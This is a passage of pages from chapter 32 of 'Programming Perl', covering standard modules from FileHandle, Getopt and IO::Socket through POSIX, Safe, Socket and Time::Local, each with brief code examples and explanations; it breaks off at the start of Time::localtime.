The FileHandle module mostly serves as a mechanism for cloaking Perl's punctuation variables in longer, more OO-looking calls. It is provided for compatibility with older releases, but is now really only a frontend for several more specific modules, like IO::Handle and IO::File.[5] Its best property is the low-level access it provides to certain rare functions from the C library (clearerr(3), fgetpos(3), fsetpos(3), and setvbuf(3)).

[5]Because it loads so much code, this module costs you a megabyte or so of memory.

Variable | Method
$| | autoflush
$, | output_field_separator
$\ | output_record_separator
$/ | input_record_separator
$. | input_line_number
$% | format_page_number
$= | format_lines_per_page
$- | format_lines_left
$~ | format_name
$^ | format_top_name
$: | format_line_break_characters
$^L | format_formfeed

Instead of saying:

$ofh = select(HANDLE);
$~ = 'SomeFormat';
$| = 1;
select($ofh);
you can just say:
use FileHandle;
HANDLE->format_name('SomeFormat');
HANDLE->autoflush(1);
Currently, three methods (output_field_separator, output_record_separator, and input_record_separator) only pretend to be per-handle methods: setting them on one handle actually affects all filehandles. They are therefore only supported as class methods, not as per-filehandle methods. This restriction may be lifted someday.

To get a lexically scoped filehandle, instead of using filehandle autovivification:

open my $fh, "< somefile"
    or die "can't open somefile: $!";
one could say:
use FileHandle;
my $fh = FileHandle->new("< somefile")
    or die "can't open somefile: $!";
FileHandle inherits from IO::File, which inherits from IO::Handle and IO::Seekable. Virtually all the module's functionality is available more efficiently through basic, unadorned Perl calls, except for the following, not all of which may be implemented on all non-Unix platforms:

HANDLE->blocking(EXPR)

Called with an argument, enables nonblocking I/O if the argument is false, and disables nonblocking (that is, enables blocking) if the argument is true. The method returns the previously set value (which is still the current setting if no argument was given). On error, blocking sets $! and returns undef. This could be done using fcntl directly, but the FileHandle interface is much easier to use.

HANDLE->clearerr

Calls the C library function clearerr(3) to clear the handle's internal end-of-file and error status indicators.

HANDLE->error

Calls the C library function ferror(3) to test the error indicator for the given handle, returning whether that internal indicator is set. The error indicator can be reset reliably only via the clearerr method. (Some systems also reset it on calls to the seek operator.)

HANDLE->formline(PICTURE, LIST)

This is the same as saving the old accumulator variable ($^A), calling the formline function with the given PICTURE and LIST, outputting the resulting contents of the accumulator to the given handle, and finally restoring the original accumulator. For example, here's how to output a long text variable, with automatic word-wrapping at column 72:

use FileHandle;
STDOUT->formline("^" . ("<" x 72) . "~~\n", $long_text);

HANDLE->getpos

Calls the C library function fgetpos(3), providing an alternative interface to tell. On some (non-UNIX) systems the return value may be a complex object, and getpos and setpos may be the only way to portably reposition a text stream.

FileHandle->new_tmpfile

Calls the C library function tmpfile(3) to create a new temporary file opened for read-write mode and returns a handle to this stream. On systems where this is possible, the temporary file is anonymous--that is, it is unlinked after creation, but held open. You should use this function, or POSIX::tmpnam as described under the POSIX module, to safely create a temporary file without exposing yourself to subtle but serious security problems through race conditions. As of the 5.6.1 release of Perl, the File::Temp module is now the preferred interface.

HANDLE->setbuf(BUFFER)

Calls the C library function setbuf(3) with the given BUFFER variable. It passes undef to indicate unbuffered output. A variable used as a buffer by setbuf or setvbuf must not be modified in any way until the handle is closed, or until setbuf or setvbuf is called again. Otherwise, memory corruption may result, and you will be sad.

HANDLE->setpos(EXPR)

Calls the C library function fsetpos(3), providing an alternative interface to seek. The argument should only be the return value from getpos, described earlier.

HANDLE->setvbuf(BUFFER, TYPE, SIZE)

Calls the C library function setvbuf(3) with the given BUFFER. The standard C library constants _IONBF (unbuffered), _IOLBF (line buffered), and _IOFBF (fully buffered) are available for the TYPE field if explicitly imported. See the warning under setbuf.

HANDLE->sync

Calls the C library function fsync(3) to synchronize a file's in-memory state with the physical medium. Note that sync operates not on the handle, but on the file descriptor, so any data held by buffers will not be synchronized unless flushed first.

HANDLE->untaint

Marks the filehandle or directory handle as providing untainted data. When running under taint mode (see Chapter 23, "Security"), data read in from external files is considered untrustworthy. Do not invoke this method blindly: you're circumventing Perl's best attempts to protect you from yourself.

Previous | Home | Next
32.25. File::Temp | Book Index | 32.27. Getopt::Long
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Getopt::Long (Programming Perl)

 Book Home Programming PerlSearch this book

32.27. Getopt::Long

If your program says:

use Getopt::Long;
GetOptions("verbose"  => \$verbose,
           "debug"    => \$debug,
           "output=s" => \$output);
it can be called from the command line like this:
% prog --verbose more args here
% prog --debug more args here
% prog -v -d more args here
% prog --output=somefile more args here
% prog -o somefile more args here
The Getopt::Long module provides a GetOptions function to process command-line switches with long names. It includes support for things like abbreviating switches, typed arguments like Boolean or string or integer or float, array variables for repeating options, user-defined validation routines, POSIX-conforming versus FSF-style processing, case-insensitive options, and traditional bundling of short options--just to name a few out of its vast cornucopia of features. If this module is overkill, consider the more traditional Getopt::Std module described next. If this module is underkill, check out the CPAN module Getopt::Declare, which provides a more declarative syntax for option specification.

Previous | Home | Next
32.26. FileHandle | Book Index | 32.28. Getopt::Std
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Getopt::Std (Programming Perl)

 Book Home Programming PerlSearch this book

32.28. Getopt::Std

use Getopt::Std;
You can use getopt and getopts with globals:
our ($opt_o, $opt_i, $opt_f);
getopt('oif');            # -o, -i, and -f all take arguments.
                          # Sets global $opt_* variables.
getopts('oif:');          # Now -o & -i are boolean; -f takes an arg.
                          # Still sets global $opt_* as side effect.
Or you can use them with a private options hash:
my %opts;                 # We'll place results here.
getopt('oif', \%opts);    # All three still take arguments.
getopts('oif:', \%opts);  # Now -o and -i are boolean flags
                          # and only -f takes an argument.
The Getopt::Std module provides two functions, getopt and getopts, to help you parse command-line arguments for single-character options. Of the two, getopts is the more useful because it lets you specify that some options take arguments and others don't, whereas getopt assumes all options take arguments. By specifying to getopts a letter with a colon after it, you indicate that that argument takes an argument; otherwise, a Boolean flag is expected. Standard option clustering is supported. Ordering doesn't matter, so options taking no arguments may be grouped together. Options that do take an argument must be the last in a group or by themselves, and their argument may either come immediately after the option in the same string, or else as the next program argument. Given the example getopts use above, these are equivalent calls:
% prog -o -i -f TMPFILE more args here
% prog -o -if TMPFILE more args here
% prog -io -fTMPFILE more args here
% prog -iofTMPFILE more args here
% prog -oifTMPFILE more args here

Previous | Home | Next
32.27. Getopt::Long | Book Index | 32.29. IO::Socket
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


IO::Socket (Programming Perl)

 Book Home Programming PerlSearch this book

32.29. IO::Socket

use IO::Socket;

As a client:

$socket = new IO::Socket::INET (PeerAddr => $remote_host,
                                PeerPort => $remote_port,
                                Proto    => "tcp",
                                Type     => SOCK_STREAM)
    or die "Can't connect to $remote_host:$remote_port : $!\n";

# Or use the simpler single-argument interface.
$socket = IO::Socket::INET->new("$remote_host:$remote_port");
                              # "localhost:80", for example.

print $socket "data\n";
$line = <$socket>;
As a server:
$server = IO::Socket::INET->new(LocalPort => $server_port,
                                Type      => SOCK_STREAM,
                                Reuse     => 1,
                                Listen    => 10 )  # or SOMAXCONN
    or die "Can't be a TCP server on port $server_port : $!\n";

while ($client = $server->accept()) {
    # $client is the new connection
    $request = <$client>;
    print $client "answer\n";
    close $client;
}

# Make simple TCP connecting function that returns a filehandle
# for use in simple client programs.
sub tcp_connect {
    my ($host, $service) = @_;
    require IO::Socket;
    return  IO::Socket::INET->new(join ":", $host, $service);
}
my $fh    = tcp_connect("localhost", "smtp");  # with scalar
local *FH = tcp_connect("localhost", "smtp");  # with handle
The IO::Socket module provides a higher-level approach to socket handling than the raw Socket module. You may use it in an object-oriented fashion, although this isn't mandatory, because the return values are proper filehandles and may be used as such, as shown in the tcp_connect function in the example. This module inherits methods from IO::Handle, and itself requires IO::Socket::INET and IO::Socket::UNIX. See the description of the FileHandle module for other interesting features. See Chapter 16, "Interprocess Communication" for a description of using sockets.

Previous | Home | Next
32.28. Getopt::Std | Book Index | 32.30. IPC::Open2
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


IPC::Open2 (Programming Perl)

 Book Home Programming PerlSearch this book

32.30. IPC::Open2

use IPC::Open2;

local(*HIS_OUT, *HIS_IN);  # Create local handles if needed.

$childpid = open2(*HIS_OUT, *HIS_IN, $program, @args)
    or die "can't open pipe to $program: $!";
print HIS_IN "here's your input\n";
$his_output = <HIS_IN>;
close(HIS_OUT);
close(README);
waitpid($childpid, 0);
The IPC::Open2 module's one exported function, open2, starts up another program and provides both read and write access to that command. The first two arguments should be valid filehandles (or else empty variables into which autogenerated filehandles can be placed). The remaining arguments are the program plus its arguments, which if passed in separately will not be subject to shell interpolation. This module does not reap the child process after it exits. Except for short programs where it's acceptable to let the operating system take care of this, you need to do this yourself. This is normally as simple as calling waitpid $pid, 0 when you're done with that child process. Failure to do this can result in an accumulation of defunct ("zombie") processes.

In practice, this module doesn't work well with many programs because of the way buffering works in C's standard I/O library. If you control the source code to both programs, however, you can easily circumvent this restriction by flushing your output buffers more frequently than the default. If you don't, programs can be annoyingly miserly in their hoarding of output. Another potential pitfall is deadlock: if both processes are reading at the same time, and no one is writing, then your program will hang. See Chapter 16, "Interprocess Communication" for more discussion.

Previous | Home | Next
32.29. IO::Socket | Book Index | 32.31. IPC::Open3
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


IPC::Open3 (Programming Perl)

 Book Home Programming PerlSearch this book

32.31. IPC::Open3

use IPC::Open3;

local(*HIS_IN, *HIS_OUT, *HIS_ERR);

$childpid = open3(*HIS_IN, *HIS_OUT, *HIS_ERR, $cmd, @args);
print HIS_IN "stuff\n";
close(HIS_IN);            # Give end of file to kid.
@outlines = <HIS_OUT>;    # Read till EOF.
@errlines = <HIS_ERR>;    # XXX: block potential if massive
print "STDOUT:\n", @outlines, "\n";
print "STDERR:\n", @errlines, "\n";
close HIS_OUT;
close HIS_ERR;
waitpid($childpid, 0);
if ($?) {
    print "That child exited with wait status of $?\n";
}
The IPC::Open3 module works like IPC::Open2 (the latter is implemented in terms of the former), except that open3 provides access to the standard input, the standard output, and the standard error handles of the program you launch. The same caveats apply as with open2 (see the previous entry), plus a few more. The order of arguments is different in open3 than with open2. Instead of passing the handle to read from first and the handle to write to second, this time it's the other way around. Also, with open3, danger of deadlock is even greater than before. If you try to read through end-of-file on one of the child's two output handles, but meanwhile there's a great deal of output on the other handle, the peer process blocks and appears to hang. Use either the four-argument form of select or the standard IO::Select module to circumvent this. See Chapter 16, "Interprocess Communication" for more details.

Previous | Home | Next
32.30. IPC::Open2 | Book Index | 32.32. Math::BigInt
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Math::BigInt (Programming Perl)

 Book Home Programming PerlSearch this book

32.32. Math::BigInt

use Math::BigInt;
$i = Math::BigInt->new($string);

use Math::BigInt ':constant';
print 2**200;
This prints:
+1606938044258990275541962092341162602522202993782792835301376
The Math::BigInt module provides objects that represent integers with arbitrary precision and overloaded arithmetical operators. Create these objects using the new constructor, or, within a lexical scope, by importing the special value ":constant", after which all numeric literals through the end of that lexical scope are treated as Math::BigInt objects. All standard integer operators are implemented, including (as of the 5.6 release of Perl) the bitwise logical operators. Under the current implementation, this module is not what you'd call blazingly fast, but this may be addressed in the future. (We'd like to see you how fast you are at calculating 2**200 in your head.)

Previous | Home | Next
32.31. IPC::Open3 | Book Index | 32.33. Math::Complex
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Math::Complex (Programming Perl)

 Book Home Programming PerlSearch this book

32.33. Math::Complex

use Math::Complex;

$z = Math::Complex->make(5, 6);
$z = cplx(5, 6);         # same thing, but shorter
$t = 4 - 3*i + $z;       # do standard complex math
print "$t\n";            # prints 9+3i

print sqrt(-9), "\n";    # prints 3i
The Math::Complex module provides complex number objects with overloaded operators. These are numbers with both real and imaginary portions, like those satisfying even-numbered integral roots of negative numbers as shown above. Besides arithmetical operators, many built-in math functions are also overridden by versions that understand complex numbers, including abs, log, sqrt, sin, cos, and atan2. Other functions provided are Re and Im to provide the real and imaginary portions of their complex arguments, plus a full battery of extended trigonometric functions, such as tan, asin, acos, sinh, cosh, and tanh. The module also exports the constant i, which, as you might imagine, holds the value of i; that is, the square root of -1.

Previous | Home | Next
32.32. Math::BigInt | Book Index | 32.34. Math::Trig
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Math::Trig (Programming Perl)

 Book Home Programming PerlSearch this book

32.34. Math::Trig

use Math::Trig;

$x = tan(0.9);
$y = acos(3.7);
$z = asin(2.4);

$halfpi = pi/2;

$rad = deg2rad(120);
Perl itself defines only three trigonometric functions: sin, cos, and atan2. The Math::Trig module overrides these with fancier versions and supplies all the rest of the trig functions, including tan, csc, cosec, sec, cot, cotan, asin, acos, atan, sinh, cosh, tanh, and many others. Additionally, the constant pi is defined, as are conversion functions like deg2rad and grad2rad. Support is provided for Cartesian, spherical, and cylindrical coordinates systems. This module makes implicit use of Math::Complex as needed (and vice versa) for computations requiring imaginary numbers.

Previous | Home | Next
32.33. Math::Complex | Book Index | 32.35. Net::hostent
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Net::hostent (Programming Perl)

 Book Home Programming PerlSearch this book

32.35. Net::hostent

use Socket;
use Net::hostent;

print inet_ntoa(gethost("www.perl.com")->addr);  # prints 208.201.239.50
printf "%vd", gethost("www.perl.com")->addr;     # same thing

print gethost("127.0.0.1")->name;                # prints localhost

use Net::hostent ':FIELDS';
if (gethost($name_or_number)) {
    print "name is $h_name\n";
    print "aliases are $h_aliases\n";
    print "addrs are ",
        join ", " => map { inet_ntoa($_) } @h_addr_list;
}
This module's default exports override the core gethostbyname and gethostbyaddr functions, replacing them with versions that return a Net::hostent object (or undef on failure). This object has attribute accessor methods that return the like-named structure field name from the C library's struct hostent from netdb.h: name, aliases, addrtype, length, or addr_list. The aliases and addr_list methods return array references; the rest return scalars. The addr method is equivalent to the initial element in the addr_list array reference. The gethost function is a frontend that forwards a numeric argument to gethostbyaddr by way of the Socket::inet_aton function and the rest to gethostbyname. As with the other semipragmatic modules that override list-returning built-ins, if you import the ":FIELDS" tag, you can access scalar or array package variables by the same names as the method calls by using a leading "h_". This still overrides your core functions, though.

Previous | Home | Next
32.34. Math::Trig | Book Index | 32.36. POSIX
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


POSIX (Programming Perl)

 Book Home Programming PerlSearch this book

32.36. POSIX

use POSIX;

# Round floats up or down to nearest integer.
$n = ceil($n);      # round up
$n = floor($n);     # round down

# Produces "2000-04-01" for today.
$datestr = strftime("%Y-%m-%d", localtime);

# Produces "Saturday 04/01/00" for same date.
$datestr = strftime("%A %D", localtime);

# Try new temporary filenames until we get one
# that didn't already exist; see also File::Temp
# on CPAN, or in v5.6.1.
do {
    $name = tmpnam();
} until sysopen(FH, $name, O_CREAT|O_EXCL|O_RDWR, 0666);

# Check for whether system has insecure chown giveaway.
if (sysconf(_PC_CHOWN_RESTRICTED)) {
    print "Hurray -- only the superuser may call chown\n";
}

# Find current system's uname info.
my($kernel, $hostname, $release, $version, $hardware) = uname();

use POSIX ":sys_wait_h";
while (($dead_pid = waitpid(-1, &WNOHANG)) > 0) {
    # Do something with $dead_pid if you want.
}

# Become new session/process-group leader (needed to create daemons
# unaffected by keyboard signals or exiting login shells).
setsid(0)           or die "setsid failed: $!";
Perl's POSIX module permits you to access all (or nearly all) the standard POSIX 1003.1 identifiers, plus a few more from ANSI C that we didn't know where else to put. This module provides more functions than any other. See its online documentation for the gory details or the POSIX Programmer's Guide, by Donald Lewine (O'Reilly, 1991).

Identifiers that are parameterless #defines in C, such as EINTR or O_NDELAY, are automatically exported into your namespace as constant functions. Functions that aren't normally available in Perl (like floor, ceil, strftime, uname, setsid, setlocale, and sysconf) are exported by default. Functions with the same name as a Perl built-in, like open, are not exported unless specifically requested, but most folks are likely to prefer fully qualified function names to distinguish POSIX::open from CORE::open.

A few functions are not implemented because they are C-specific. If you attempt to call these, they print a message telling you that they aren't implemented, and suggest using the Perl equivalent should one exist. For example, trying to access the setjmp function elicits the message "setjmp() is C-specific: use eval {} instead", and tmpfile tells you to "Use method IO::File::new_tmpfile()". (But as of 5.6.1 you should be using File::Temp instead.)

The POSIX module lets you get as close to the operating system (or those parts of the POSIX standard addresses, at least) as any C programmer could. This lets you do some phenomenally powerful and useful things, like blocking signals and controlling the terminal I/O settings. However, it also means that your code will end up looking quasi-C-like. By way of useful demonstration of how to get around input buffering, here's an example of a complete program for getting unbuffered, single-character input under any POSIX system:

#!/usr/bin/perl -w
use strict;
$| = 1;
for (1..4) {
    my $got;
    print "gimme: ";
    $got = getone();
    print "--> $got\n";
}
exit;

BEGIN {
    use POSIX qw(:termios_h);
    my ($term, $oterm, $echo, $noecho, $fd_stdin);
    $fd_stdin = fileno(STDIN);
    $term     = POSIX::Termios->new();
    $term->getattr($fd_stdin);
    $oterm    = $term->getlflag();
    $echo     = ECHO | ECHOK | ICANON;
    $noecho   = $oterm & ~$echo;
    sub cbreak {
        $term->setlflag($noecho);
        $term->setcc(VTIME, 1);
        $term->setattr($fd_stdin, TCSANOW);
    }

    sub cooked {
        $term->setlflag($oterm);
        $term->setcc(VTIME, 0);
        $term->setattr($fd_stdin, TCSANOW);
    }
    sub getone {
        my $key = "";
        cbreak();
        sysread(STDIN, $key, 1);
        cooked();
        return $key;
    }
}
END { cooked() }
The POSIX module's manpage provides a complete listing of which functions and constants it exports. It has so many that you'll often wind up importing only a subset of them, such as ":sys_wait_h", ":sys_stat_h", or ":termios_h". An example of blocking signals with the POSIX module is given in Chapter 16, "Interprocess Communication".

Previous | Home | Next
32.35. Net::hostent | Book Index | 32.37. Safe
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Safe (Programming Perl)

 Book Home Programming PerlSearch this book

32.37. Safe

use Safe;

$sandbox = Safe->new();             # anonymous sandbox
$sandbox = Safe->new("PackName");   # in that symbol table

# Enable or disable opcodes by group or name.
$sandbox->permit(qw(:base_core));
$sandbox->permit_only(qw(:base_core :base_loop :base_mem));
$sandbox->deny("die");

# like do(), but in the sandbox
$ok = $sandbox->rdo($filename);

# like do(), but in the sandbox
$ok = $sandbox->reval($code);       # without 'use strict'
$ok = $sandbox->reval($code, 1);    # with 'use strict'
The Safe module attempts to provide a restricted environment to protect the rest of the program from dangerous operations. It uses two different strategies to do this. Much as an anonymous FTP daemon's use of chroot(2) alters the view of the root of the filesystem, creating a compartment object with Safe->new("PackName") alters that compartment's view of its own namespace. The compartment now sees as its root symbol table (main::) the symbol table that the rest of the program sees as PackName::. What looks like Frobnitz:: on the inside of the compartment is really PackName::Frobnitz:: on the outside. If you don't give an argument to the constructor, a random new package name is selected for you.

The second and more important facility that a Safe compartment provides is a way to limit code that is deemed legal within an eval. You can tweak the allowable opcode set (legal Perl operations) using method calls on your Safe object. Two methods are available to compile code in a Safe compartment: rdo ("restricted do") for files and reval ("restricted eval") for strings. These are like do on a filename and eval on a string but execute in a restricted namespace with limited opcodes. The first argument is the filename or string to compile, and the optional second argument is whether the code should be compiled under use strict.

This module is scheduled for a rewrite (we intend to isolate the sandbox into a different interpreter thread for additional safety), so be sure to check the Safe manpage for updates. See also Chapter 23, "Security".

Previous | Home | Next
32.36. POSIX | Book Index | 32.38. Socket
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Socket (Programming Perl)

 Book Home Programming PerlSearch this book

32.38. Socket

use Socket;

$proto = getprotobyname('udp');
socket(SOCK, PF_INET, SOCK_DGRAM, $proto)
    or die "socket: $!";
$iaddr = gethostbyname('hishost.com');
$port  = getservbyname('time', 'udp');
$sin   = sockaddr_in($port, $iaddr);
send(SOCK, 0, 0, $sin)
    or die "send: $!";

$proto = getprotobyname('tcp');
socket(SOCK, PF_INET, SOCK_STREAM, $proto)
    or die "socket: $!";
$port = getservbyname('smtp', 'tcp');
$sin  = sockaddr_in($port,inet_aton("127.1"));
$sin  = sockaddr_in(7,inet_aton("localhost"));
$sin  = sockaddr_in(7,INADDR_LOOPBACK);
connect(SOCK,$sin)
    or die "connect: $!";

($port, $iaddr) = sockaddr_in(getpeername(SOCK));
$peer_host = gethostbyaddr($iaddr, AF_INET);
$peer_addr = inet_ntoa($iaddr);

$proto = getprotobyname('tcp');
socket(SOCK, PF_UNIX, SOCK_STREAM, $proto)
    or die "connect: $!";
unlink('/tmp/usock');   # XXX: intentionally ignore failure
$sun = sockaddr_un('/tmp/usock');
connect(SOCK,$sun)     or die "connect: $!";

use Socket qw(:DEFAULT :crlf);
# Now you can use CR(), LF(), and CRLF() or
# $CR, $LF, and $CRLF for line-endings.
The Socket module provides access to constants from the C library's sys/socket.h#include file to use with Perl's low-level socket functions. It also provides two functions, inet_aton and inet_ntoa, to convert between ASCII (like "127.0.0.1") and packed network representations of IP addresses, and two special packer/unpacker functions, sockaddr_in and sockaddr_un, which manipulate the binary socket addresses needed by those low-level calls. The :crlf import tag gives symbolic names for the various end-of-line conventions so you don't have to rely upon native interpretations of \r and \n, which vary. Most Internet protocols prefer CRLF but tolerate LF. The standard IO::Socket module provides a higher-level interface to TCP. See Chapter 16, "Interprocess Communication".

Previous | Home | Next
32.37. Safe | Book Index | 32.39. Symbol
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Symbol (Programming Perl)

 Book Home Programming PerlSearch this book

32.39. Symbol

use Symbol "delete_package";
delete_package("Foo::Bar");
print "deleted\n" unless exists $Foo::{"Bar::"};

use Symbol "gensym";
$sym1 = getsym();       # Returns new, anonymous typeglob.
$sym2 = getsym();       # Yet another new, anonymous typeglob.

package Demo;
use Symbol "qualify";
$sym = qualify("x");              # "Demo::x"
$sym = qualify("x", "Foo");       # "Foo::x"
$sym = qualify("Bar::x");         # "Bar::x"
$sym = qualify("Bar::x", "Foo");  # "Bar::x"

use Symbol "qualify_to_ref";
sub pass_handle(*) {
    my $fh = qualify_to_ref(shift, caller);
    ...
}
# Now you can call pass_handle with FH, "FH", *FH, or \*FH.
The Symbol module provides functions to help manipulate global names: typeglobs, format names, filehandles, package symbol tables, and anything else you might want to name via a symbol table. The delete_package function completely clears out a package's namespace (effectively anonymizing any extra references to the symbol table's referents, including references from precompiled code). The gensym function returns an anonymous typeglob each time it is called. (This function isn't used so much these days, now that undefined scalars autovivify into proper filehandles when used as arguments to open, pipe, socket, and the like).

The qualify function takes a name that may or may not be completely package-qualified, and returns a name that is. If it needs to prepend the package name, it will use the name specified via the second argument (or if omitted, your current package name). The qualify_to_ref function works similarly, but produces a reference to the typeglob the symbol would represent. This is important in functions that accept filehandles, directory handles, or format names as arguments but don't require these to be passed by reference. For example, functions prototyped with a typeglob accept any of these forms, but don't automatically convert barewords to symbol table references. By converting that argument with qualify_to_ref, you can now use the supplied handle even with strict refs in effect. You may also bless it into objectdom, since it's a proper reference.

Previous | Home | Next
32.38. Socket | Book Index | 32.40. Sys::Hostname
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Sys::Hostname (Programming Perl)

 Book Home Programming PerlSearch this book

32.40. Sys::Hostname

use Sys::Hostname;
$hostname = hostname();
The Sys::Hostname module supplies just one function, hostname, which makes up for that fact by busting its behind to try to figure out what your current host calls itself. On those systems that support the standard gethostname(2) syscall, this is used, as it's the most efficient method.[6] On other systems, output from the standard hostname(1) is used. On still others, it calls the uname(3) function in your C library, which is also accessible as POSIX::uname from Perl. If these strategies all fail, more valiant attempts are made. Whatever your native system thinks makes sense, Perl tries its best to go along with it. On some systems, this hostname may not be fully qualified with the domain name; see the Net::Domain module from CPAN if you need that.

[6] Which is available directly as the unexported Sys::Hostname::ghname function, but don't tell anyone we told you.

Another consideration is that hostname returns just one value, but your system could have multiple network interfaces configured, so you might not get back the name associated with the interface you're interested in if you're planning on using this module for certain sorts of socket programming. There are cases where you'll probably have to scrounge around in the output from the ifconfig(8) command, or your system's moral equivalent.

Previous | Home | Next
32.39. Symbol | Book Index | 32.41. Sys::Syslog
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Sys::Syslog (Programming Perl)

 Book Home Programming PerlSearch this book

32.41. Sys::Syslog

use Sys::Syslog;                          # Misses setlogsock.
use Sys::Syslog qw(:DEFAULT setlogsock);  # Also gets setlogsock.

openlog($program, 'cons,pid', 'user');
syslog('info', 'this is another test');
syslog('mail|warning', 'this is a better test: %d', time());
closelog();

syslog('debug', 'this is the last test');

setlogsock('unix');
openlog("$program $$", 'ndelay', 'user');
syslog('info', 'problem was %m'); # %m == $! in syslogese
syslog('notice', 'fooprogram: this is really done');

setlogsock("unix");             # "inet" or "unix"
openlog("myprogname", $logopt, $facility);
syslog($priority, $format, @args);
$oldmask = setlogmask($mask_priority);
closelog();
The Sys::Syslog module acts like your C library's syslog(3) function, sending messages to your system log daemon, syslogd(8). It is especially useful in daemons and other programs lacking a terminal to receive diagnostic output, or for security-minded programs that want to produce a more lasting record of their actions (or someone else's actions). Supported functions are:

openlog IDENT, OPTLIST, FACILITY

Establishes a connection with your friendly syslog daemon. IDENT is the string to log messages under (like $0, your program name). OPTLIST is a string with comma-separated options such as "cons", "pid", and "ndelay". FACILITY is something like "auth", "daemon", "kern", "lpr", "mail", "news" or "user" for system programs, and one of "local0" .. "local7" for local ones. Further messages are logged using the given facility and identifying string.

syslog PRIORITY, FORMAT, ARGS

Sends a message to the daemon using the given PRIORITY. The FORMAT is just like printf--filling in percent escapes using the following ARGS--except that following the conventions of the standard syslog(3) library function, the special escape "%m" interpolates errno (Perl's $! variable) at that point.

setlogsock TYPE

TYPE must be either "inet" or "unix". Some systems' daemons do not by default pay attention to incoming Internet-domain syslog messages, so you might set this to "unix" instead, since it's not the default.

closelog

Severs the connection with the daemon.

For this module to work prior to the 5.6.0 release of Perl, your sysadmin had to run h2ph(1) on your sys/syslog.h include file to create a sys/syslog.ph library file. However, this wasn't done by default at Perl installation time. Later releases now use an XS interface, so the sys/syslog.ph preparation is no longer needed.

Previous | Home | Next
32.40. Sys::Hostname | Book Index | 32.42. Term::Cap
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Term::Cap (Programming Perl)

 Book Home Programming PerlSearch this book

32.42. Term::Cap

use Term::Cap;

$ospeed = eval {
    require POSIX;
    my $termios = POSIX::Termios->new();
    $termios->getattr;
    $termios->getospeed;
} || 9600;

$terminal = Term::Cap->Tgetent({ TERM => undef, OSPEED => $ospeed });
$terminal->Tputs('cl', 1, STDOUT);          # Clear screen.
$terminal->Tgoto('cm', $col, $row, STDOUT); # Position cursor.
The Term::Cap module provides access to your system's termcap(3) library routines. See your system documentation for details. Systems that have only terminfo(5) and not termcap(5) will lose. (Many terminfo systems can emulate termcap.) However, on CPAN you can find a Term::Info module, as well as Term::ReadKey, Term::ANSIColor, and various Curses modules to help you with single-key input, colored output, or managing terminal screens, at a higher level than Term::Cap or Term::Info.

Previous | Home | Next
32.41. Sys::Syslog | Book Index | 32.43. Text::Wrap
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Text::Wrap (Programming Perl)

 Book Home Programming PerlSearch this book

32.43. Text::Wrap

use Text::Wrap;  # Imports wrap().

@lines = (<<"EO_G&S" =~ /\S.*\S/g);

    This particularly rapid,
    unintelligible
    patter isn't generally
    heard,
    and if
    it is, it
    doesn't matter.

EO_G&S

$Text::Wrap::columns = 50;
print wrap(" " x 8, " " x 3, @lines), "\n";
This prints:
           This particularly rapid, unintelligible
      patter isn't generally heard, and if it is, it
      doesn't matter.
The Text::Wrap module implements a simple paragraph formatter. Its wrap function formats a single paragraph at a time by breaking lines at word boundaries. The first argument is the prefix prepended to the first line returned. The second argument is the prefix string used for all lines save the first. All remaining arguments are joined together using a newline as the separator and returned as one reformatted paragraph string. You'll have to figure out your terminal's width yourself, or at least specify what you want in $Text::Wrap::columns. Although one could use the TIOCGWINSZioctl call to figure out the number of columns, it would be easier for those not used to C programming to install the CPAN module Term::ReadKey and use that module's GetTerminalSize routine.

Previous | Home | Next
32.42. Term::Cap | Book Index | 32.44. Time::Local
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Time::Local (Programming Perl)

 Book Home Programming PerlSearch this book

32.44. Time::Local

use Time::Local;
$time = timelocal($sec,$min,$hours,$mday,$mon,$year);
$time = timegm($sec,$min,$hours,$mday,$mon,$year);

$time = timelocal(50, 45, 3, 18, 0, 73);
print "Scalar localtime gives: ", scalar(localtime($time)), "\n";
$time += 28 * 365.2425 * 24 * 60 * 60;
print "Twenty-eight years of seconds later, it's now\n\t",
    scalar(localtime($time)), "\n";
This prints:
Scalar localtime gives: Thu Jan 18 03:45:50 1973
Twenty-eight years of seconds later, it's now
        Wed Jan 17 22:43:26 2001
The Time::Local module provides two functions, timelocal and timegm, that work like inverse functions for the standard localtime and gmtime functions, respectively. That is, they take a list of numeric values for the various components of what localtime returns in list context and figure out what input to localtime would produce those values. You might do this if you wanted to compare or run calculations on two different dates. Although these are not general-purpose functions for parsing dates and times, if you can arrange to have your input in the right format, they often suffice. As you can see from the example above, however, time has its oddities, and even simple calculations often fail to do the job intended due to leap years, leap seconds, and the phase of the moon. Two large but fully featured CPAN modules address these issues and more: Date::Calc and Date::Manip.

Previous | Home | Next
32.43. Text::Wrap | Book Index | 32.45. Time::localtime
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Time::localtime (Programming Perl)

 Book Home Programming PerlSearch this book

32.45. Time::localtime

use Time::localtime;
printf "Year is %d\n", localtime->year() + 1900;

$now = ctime();

use Time::localtime;
use File::stat;
$date_string = ctime(stat($file)->mtime);
